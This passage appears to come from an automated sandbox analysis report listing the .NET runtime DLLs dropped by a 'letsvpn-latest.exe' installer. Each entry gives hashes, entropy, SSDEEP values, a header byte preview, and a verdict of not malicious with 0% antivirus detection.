Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............)... ...@....... ....................................@..................................)..O....@..P................+...`......P(............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..........#Strings....T.......#US.X.......#GUID...h.......#Blob......................3..................................................`.....`...t.M.................................=.....V.................q.....Z...................G.....G.....G...).G...1.G...9.G...A.G...I.G...Q.G...Y.G...a.G...i.G...q.G.......................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.820783478949804
Encrypted:	false
SSDEEP:	384:I6iIJq56dOuWSKeWPMpwKANynsAw/98E9VF3AM+obtIiknXAt:SiAJAw/KENAMxbrka
MD5:	405227EDFB4BF10D916204FF66937B3F
SHA1:	7AF08E29C0A42FE772E121160A53F7EC97B5A77A
SHA-256:	2E474F101AA124959013BB256FAC2B846E56572F59AD39B3D43965BAFFE750B8
SHA-512:	36F448C12973B27356F0F660AC5DCBB52102D53D1E0226820319F541A90597D2F83C71086B1E6FEF31BACD43467C1C93A3D7F2682A7242C709CD8F5138BACFD8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0................. ...@....... ...............................w....@....................................O....@...................+...`......L)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P ..\|....................(......................................BSJB............v4.0.30319......l.......#~..\|.......#Strings....\.......#US.`.......#GUID...p.......#Blob......................3................................................k.~.....~.....k..............0....M...............................#..........x...........e.....e.....e...).e...1.e...9.e...A.e...I.e...Q.e...Y.e...a.e...i.e...q.e.......................#.....+.....3.....;.....C./...K.O...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Annotations.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38376
Entropy (8bit):	5.996055274986792
Encrypted:	false
SSDEEP:	768:iXDQsPurQcR3y6JOnSHDYFDhAw/KENAMxp5Fp/:izPtcE6JhHEFdAwrxp5X/
MD5:	CB0EA4B211367CC748B2279BE13B54AA
SHA1:	7C6A70C904520DACC1A7631B4AC22F085701FF6C
SHA-256:	BF4AC24D5C1A6A6E5A667BA039FFAF864D32C1BC2A32E91FF95FD817F747A20C
SHA-512:	F352E34D0E644166547B24316479870A3224F85C0DA4A596526590A6BA0AA242326AC503DCB9DDCBA22F63AF849C57E0787B8AF3E8C5C57A79327E11C0A0F20D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....>.Z.........." ..0..Z..........Bx... ........... ....................................@..................................w..O....................j...+..........8w............................................... ............... ..H............text...HX... ...Z.................. ..`.rsrc................\..............@..@.reloc...............h..............@..B................"x......H........$...............R.. $...v......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....2r=..p.(....2r}..p.(....2r...p.(....2r...p.(....2r%..p.(....2r]..p.(....2r...p.(....2r/..p.(....*2r...p.(...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.EventBasedAsync.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.868132034991061
Encrypted:	false
SSDEEP:	384:Enzz+MpSaLWW0+W71pwKANynsAw/98E9VF3AM+o0XbobU:ipuAAw/KENAMxZbU
MD5:	0795AA09694508A9B849DD0F6220B2D4
SHA1:	44577C0256DD688589A71BC86428E896997030A2
SHA-256:	7C77A2CC3F60EECA74965CF46F6DBDE0366FD92C8CAF6000310E0AA1BDB84206
SHA-512:	772926A6E60CD1ACF1F16154042BDF1A41EB26413E55BA1BC724D676C670551BBF8BF4422A7D876469F681C388468B39B17945A33BAADB58DC26EAAE48DB9A93
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............B... ...@....... ..............................f ....@..................................)..O....@...................+...`.......(............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$......H.......P ......................8(......................................BSJB............v4.0.30319......l.......#~..t...@...#Strings............#US.........#GUID....... ...#Blob......................3............................................................V...........j.................i...........8.................S.....<...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.'...C.B...K.b...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.917233914321296
Encrypted:	false
SSDEEP:	384:8Ghr+YUfyHxsW/HWQBpwKANynsAw/98E9VF3AM+oMInWFQ:bkmiAw/KENAMx1R
MD5:	8A8189FDD8ADFEE4C9C72A5F5F41DC52
SHA1:	83FF3CED32D3C89E89F368D693AD012F23C39C76
SHA-256:	C38A47446F5E94DF13AB0CFACF52ACBC48734A127C4DF5511A286E2CEFD22409
SHA-512:	CD84259C1C937C54677D56C67A6AC4BB92F388C40D6FF1703098F8A54D32129A414EE37FDDFA7FCB57F652256B935DE456EBF6DFA9CE88FD9F95A1579C457347
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............+... ...@....... ..............................3.....@.................................<+..O....@..`................+...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................p+......H.......P ..4....................)......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3................................................Y.]...{.]...6.J...}.....r........... .............................................................D.....D.....D...).D...1.D...9.D...A.D...I.D...Q.D...Y.D...a.D...i.D...q.D.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.TypeConverter.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17896
Entropy (8bit):	6.852031215308936
Encrypted:	false
SSDEEP:	384:GRE+ruiA5vzWeNWM3pwKANynsAw/98E9VF3AM+ouAY/d:GS9bmAw/KENAMx1S
MD5:	3269A44986CE0A3BC21ADD533DBC126B
SHA1:	B0648BB683E2097FAEFE1A04657C656A2806576F
SHA-256:	CDA60B4E685C9A38A952492D2190F4A707EA92E548016C3D7E556E2F84EABE20
SHA-512:	79CD8E1EBE2AEBF66D2E619F79C9B094D265D203FCDACE29720D6BCBAB05C4A9B3156615478443434643FAA60FB5660D6531E7DADC2D556E42AFBC574B3B8A06
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0............../... ...@....... ..............................K.....@................................../..O....@..p................+...`......T................................................ ............... ..H............text........ ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B................./......H.......P .......................-......................................BSJB............v4.0.30319......l.......#~......@...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3................................;.....Y.........8...........<...........P.......................X.....q.....g................."...................I.....I.....I...).I...1.I...9.I...A.I...I.I...Q.I...Y.I...a.I...i.I...q.I.......................#.....+.....3.....;.%...C.@...K.`...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.907876817777003
Encrypted:	false
SSDEEP:	384:GT+6ywnVvW0LWQTpwKANynsAw/98E9VF3AM+oTUgg:G99gAw/KENAMxwB
MD5:	E081AF9808BF9E38661C8B8F748C4A0A
SHA1:	5D66CAF0E62CBBDCAF1F9155A1EA63B6359A9D2D
SHA-256:	32D291F862EFF1DAA14B3B52C20CF36F8C5B876B728183648D8F877F8F4BA3DB
SHA-512:	4B4A9BDD2C255650D3E0E1C69A2971564E6AE0FC0F6745DF1F6A95A87FB02275796A32EDA3C63141331095D9224052F50E1D39AF8C6C5D7D6233FDFAD1F8BAF3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................4.....@..................................(..O....@...................+...`......\|'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...h...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....7.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Configuration.ConfigurationManager.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	88040
Entropy (8bit):	5.415196096500198
Encrypted:	false
SSDEEP:	1536:m8KGCEPg1QqF3BhejEpvS/ZFQ+2/NVQ8GLa0Uh55T3lEC/IOPbZkxqN4bENZJlfq:RHCXBheNQ+2/NVQ8GLa0Uh55T3lEC/Ih
MD5:	5C09891E9DE673F0D5D58F44034EF52F
SHA1:	A62893EE5F31BFBB956EDB60D414BA696BFB60E8
SHA-256:	D6C1F1442A5D89C2E733386AA5D5E3401C3924BA5F314853C1E5A1CE53E5090E
SHA-512:	01C7DB3140348C9C10C7C23539177CC08CCA7DC1CBBFB9F68ABD26682493F5940EF2136972EF531BE61C1A5C25ED8B76681FD6473F4F1EA968030B75749ABE68
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.. ...........?... ...@....... ...............................u....`..................................>..O....@...............,...+...`.......=..T............................................ ............... ..H............text........ ... .................. ..`.rsrc........@......."..............@..@.reloc.......`.....................@..B.................>......H....... ,..$...........D....}...=.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(....*.(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Console.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.905862991588053
Encrypted:	false
SSDEEP:	384:vRbzriaXT+WlEWfYpwKANynsAw/98E9VF3AM+oQCLP:J7icPAw/KENAMxJ
MD5:	B645DA6A1540BFBA62EC4B6DAD9FA792
SHA1:	45CCB792C8C8D31C21483AE4BB7942A413437B92
SHA-256:	DE3EE2A97E05E8F61FB7FDEB91D458E7F2133169ACA428BE22CD06F7969D856C
SHA-512:	0AA8FEF88FFC08FD46D514CBA45DFA9992BED3979158DB96032B8BE45AA4937BA1FCDACE9C773F4CE0DAFF322876F2CDC37B46B4B66ADBB33A8142D9E3AE70EC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............6)... ...@....... ..............................Y.....@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...<.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P ......................,'......................................BSJB............v4.0.30319......l.......#~..H...x...#Strings............#US.........#GUID...........#Blob......................3......................................................k.....?.....$.....S.................R...........!.....j...........<.....%...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.+...K.K...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Common.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	149480
Entropy (8bit):	5.4418351122046
Encrypted:	false
SSDEEP:	3072:bdYO+3m9R6e1x03BZ6bDSzZ8B0uAP+ahvgs:V+2jv1x0ebezWiuAh/
MD5:	80A0654B888EA0DBA8D06E163F16ED46
SHA1:	EC28A96B46897B71CCB95E1E2526ACAA7D9D2238
SHA-256:	4EB9940AB807576C3517F931ADFC08BB9972C2AD4060E4C08EA7A3AB031B1F2E
SHA-512:	FBAA3A9F56B5296198B9AD424E785838990585DE83533A9FC172B9E6C90299D4ACEFF8D850B31C34EB9F9742452458D5F687125049F3C47E94B26D09308060D8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............,... ...@....... ..............................z.....@..................................,..O....@...................+...`.......+............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H........A...............?..h...t+......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r;..p.(....2ro..p.(....2r...p.(....2r...p.(....2r...p.(....2rK..p.(....2r...p.(....2r...p.(....2r...p.(....*2rM..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Odbc.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	82920
Entropy (8bit):	5.955722981392787
Encrypted:	false
SSDEEP:	768:xsCikxiUPLkOWoYSAkm4fHLofFv9Rit9zzv5dnCsAw/KENAMxrr:qfkxBIOYSq4/2biHrnCsAwrxf
MD5:	BA2CFA75567673E1397EF4C057493F77
SHA1:	2644D80A1396D32F09FD86ED37C5CCBB62E41AC0
SHA-256:	C60AF1B42048C521DA3B0349487F9DBA1EFFCB239ED7B01CC9244F10D3587D0E
SHA-512:	F92235ABDF5B67F5C8A0CB60E0D7EFF3A4272CBA7D372D6BC9F421B6A3AA6185BA06B51E8A11937F973F99A702960C7D33B26C325356FCC7B8689396100AEAEF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.............&... ...@....... ..............................Z.....`..................................)..O....@...................+...`.......(..T............................................ ............... ..H............text...,.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H........(...I..........0r..@...p(.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.OleDb.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	100840
Entropy (8bit):	5.813303359342085
Encrypted:	false
SSDEEP:	1536:5+kZKluk7ZFrtpAauVXrbtYC/xBu9LtAwrx517:5+kzk7p4rbtYC/xBOthx7
MD5:	170EA3B16CF6C6C6E0CB616B201A0CD8
SHA1:	A95CF1E662009221FD2E55A87A886A541F3B75B4
SHA-256:	EBC15C993AB195BEDA7C3DEB45AF05B0D305B20DFC91A3C75C20C89437F61E73
SHA-512:	38E30DF716189BD713D752B0E7C7C73E499640858DF50290D6F5D206AC6B075A849522F10A7E3AF0D88671DFBF41F5B3E796CBDAD001EEB9AC40B1A18A2D98C8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..R...........p... ........... ...............................\|....`..................................o..O....................^...+...........n..T............................................ ............... ..H............text....P... ...R.................. ..`.rsrc................T..............@..@.reloc...............\..............@..B.................o......H...........^..................Pn.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(....*.(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.SqlClient.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	224744
Entropy (8bit):	5.687717043673745
Encrypted:	false
SSDEEP:	6144:7XFpBZBJL3rBxad7/bAkGF60FhFoFmF8cjcsc4FEFbFgcbFmFiF6FhFuFBFuFDFb:bFRf60FhFoFmF8cjcsc4FEFbFgcbFmFb
MD5:	283E080CE74B5DB557AEE662ACB83FCA
SHA1:	7915F4CE008E5B33286BEBD3BF710D247ACE7FE1
SHA-256:	C45DECECE72A03B879F73FCE75A029464D0FE8A60DF22A48E673D9EA6814E6E7
SHA-512:	482552959E1A657EB66FB1DAEF7D6EB1C8E47A2F083F3B1B781E96847062888594DF2553A3BE0A6CB4A47E656093CC732A77899FF0958C380A09F53E9B2D8A31
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..8...........W... ...`....... ..............................9.....`..................................V..O....`...............B...+...........V..8............................................ ............... ..H............text....7... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H.......h7..............@...XW...U..........................................0..1.......(....,..%-.&...(.....o.......&...,...o....,.......................(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%....(..........(....

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Contracts.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.871006413324289
Encrypted:	false
SSDEEP:	384:cRtRWjYWVIpwKANynsAw/98E9VF3AM+onGJAIkEMB:eiNAw/KENAMxGJArpB
MD5:	C6EFBC9217E2463AF79A939C01DA034F
SHA1:	5C1D5404074AE8F850428A10D287DE4E0DB3F2BE
SHA-256:	50B7560179F923BFC03F8B631612D38679693FA4A48284D747D4857F6F93B7C2
SHA-512:	7D1697441ABEB6EF0F3FE24E4192277E798837ADEC88C5D7C9BC9082060A3F34FEC72765008C299AE9776B042B28CA2B84D14D681869E9B2B4772528E3C2B797
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0................. ...@....... ....................................@.................................x..O....@..@................+...`......@)............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.......................H.......P ..p....................(......................................BSJB............v4.0.30319......l...@...#~..........#Strings....H.......#US.L.......#GUID...\.......#Blob......................3..................................................-.....-.........M...........[.................'.....@.................[........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Debug.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9478091177944465
Encrypted:	false
SSDEEP:	384:CeWnoWW/pwKANynsAw/98E9VF3AM+oGliP8M:CnRAw/KENAMxjt
MD5:	D000CFD61AD9A1400F95BBBFE60FDAA8
SHA1:	09947705729C204091E141E0862675F8402476BE
SHA-256:	9B5FEEB0EA1A306F40A8B7F5D154F04089E11C2F11B15394CB98B7E460938C41
SHA-512:	5CFC6EFD29529E9D0E5F86E8B612BE9A164E1AF68D758993846BD8077E5B0FEA08CFFDC9609E133C5E9677AA12FAF1F8AB19886F78C6E7E0EBAAF274FE17FF10
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................j.....@.................................X)..O....@..$................+...`...... (............................................... ............... ..H............text........ ...................... ..`.rsrc...$....@......................@..@.reloc.......`......................@..B.................)......H.......P ..P....................'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings....,.......#US.0.......#GUID...@.......#Blob......................3......................................K.........]...........d.............o...".o...?.o.....o...}.o.....o.....o.....o.....h...-.o.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.5...K.U...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.EventLog.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33768
Entropy (8bit):	6.351688012786698
Encrypted:	false
SSDEEP:	768:/VdeQes+wUTHP0G3cmL+7NQ1OaY74EaAw/KENAMxz5K:/XeQes+wUTHPbANP7taAwrxzc
MD5:	EAAEE00AAE6817EA36071A8763653842
SHA1:	CC040EF82512B69E77247AEA01816FE0C01969E4
SHA-256:	4AA9C121C565B4E4C0499FE3175E9FD6E812150275FEB9300F930C114651091F
SHA-512:	27C1CEA4FB5DA49BF055E86D3910DAD18BEB91D9B9314D396682F130F48FC6F76E61BF0D01723085DE6CA4FECEE14E867709BE950037891993E90E2E8C4FAEDA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....K............" ..0..N...........l... ........... ..............................w_....`................................._l..O....................X...+..........pk..T............................................ ............... ..H............text....L... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B.................l......H.......<%...,...........Q.......j.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........( ....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.FileVersionInfo.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.905579148221384
Encrypted:	false
SSDEEP:	384:a6oWJjWckpwKANynsAw/98E9VF3AM+oCwJ+:a6vDAw/KENAMx7+
MD5:	0B74447C2E887EB2E968860C38849B01
SHA1:	0EEB20D6307B9F9D72744D371B5FCEF7E7BBC039
SHA-256:	AB94EDBA42955F58694057C0992E158A2AB1D4865E1AA9B4C2ED93A06077A5E3
SHA-512:	FB9DD055D5D326D89C09B99C7AD0EBD85F496327A300EA8125F64A4454D9973B8F18A418376004070117E3934E76743337B7F70184DD44DB68DB35F135CA8A91
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...............................0....@.................................H(..O....@..p................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B................\|(......H.......P ..@....................&......................................BSJB............v4.0.30319......l...\|...#~......(...#Strings............#US.........#GUID...$.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.$...C.?...K._...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.PerformanceCounter.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	42472
Entropy (8bit):	6.0216340679855485
Encrypted:	false
SSDEEP:	384:KGAHVcV8a5cg1YeEBfVmVYSGS4W+FyLVRVStbaB/PRTlBRBMJnnvnL0++WYbWAyw:KTyj5cKJfE+MJnnvnL0jRAw/KENAMxb
MD5:	D358480B44628F3013578D394BD4B09C
SHA1:	B0D59D0D89D31D8EB502D81E6A24089AD711F2A8
SHA-256:	FDA5CCB3340509E4D365F4CFEAD3EEC08D24D2BE5DD01CB07CDEC1518543FA87
SHA-512:	38C973BF5932CC6046DF9354E11722ECA4CF3563B22227E81E5C5D1E194AC667290A98DAFCE530FF8F90AB6D05880EC843424500B808AA91EC62B54FAE7D15B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....D..........." ..0..n.............. ........... ..............................7.....`.....................................O....................z...+..............T............................................ ............... ..H............text....l... ...n.................. ..`.rsrc................p..............@..@.reloc...............x..............@..B........................H.......\&...5...........\...............................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Process.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.8363078970914115
Encrypted:	false
SSDEEP:	384:3qk53/hW3fZ+zWzZ9pwKANynsAw/98E9VF3AM+oe2wTa:3qk53MJkAw/KENAMxD
MD5:	AB50D9C2F672BA5FEC55ED5E3524FD1F
SHA1:	122ECA53082B37F12E75751EF6D2F63AA2811957
SHA-256:	AB4DBF17D93331202D45C68B9479424638AF41AEFECC8800A1801F3213E2089F
SHA-512:	C9BADB8432493A0216DBCF5F3044423E1964BC7B5EE94E2A6E497A1AE0D4C0BE63F76CA302F1FBC83E8B345495DD4EB862872C9A16B2D4ADA6F6A5D22C129301
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............*... ...@....... ...............................q....@..................................)..O....@..0................+...`.......(............................................... ............... ..H............text...0.... ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.......................H.......P ...................... (......................................BSJB............v4.0.30319......l...$...#~..........#Strings............#US.........#GUID...........#Blob......................3............................................................j.q.........~.................}.....3.....L.................g.....P...................k.....k.....k...).k...1.k...9.k...A.k...I.k...Q.k...Y.k...a.k...i.k...q.k.......................#.....+.....3.....;.....C.7...K.W...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.StackTrace.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	18920
Entropy (8bit):	6.722436960395853
Encrypted:	false
SSDEEP:	384:aFCc4Y4OJWfOWqWWOWWLpwKANynsAw/98E9VF3AM+of9G/dGfWu049mF:KCcyC7Aw/KENAMx1G/w+ZAs
MD5:	9D6A5AFA7B4C436069F565AA91039A19
SHA1:	DD26015024E3E30B5D652CBA1E498C8DF0A27DA5
SHA-256:	BDBC0B52C46193E1C26271C94C49BF3FC7CAE21005926D3DD41A8E084256B2C3
SHA-512:	B8BF0EF60B8BB23DEA5D30952398DA9F6AD0E8B850535575827909D0B3AC11FCB487EDB899BA47354D12EEB4A6074D1C585A6D9A9E82B0A99B088DD57CBAC634
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
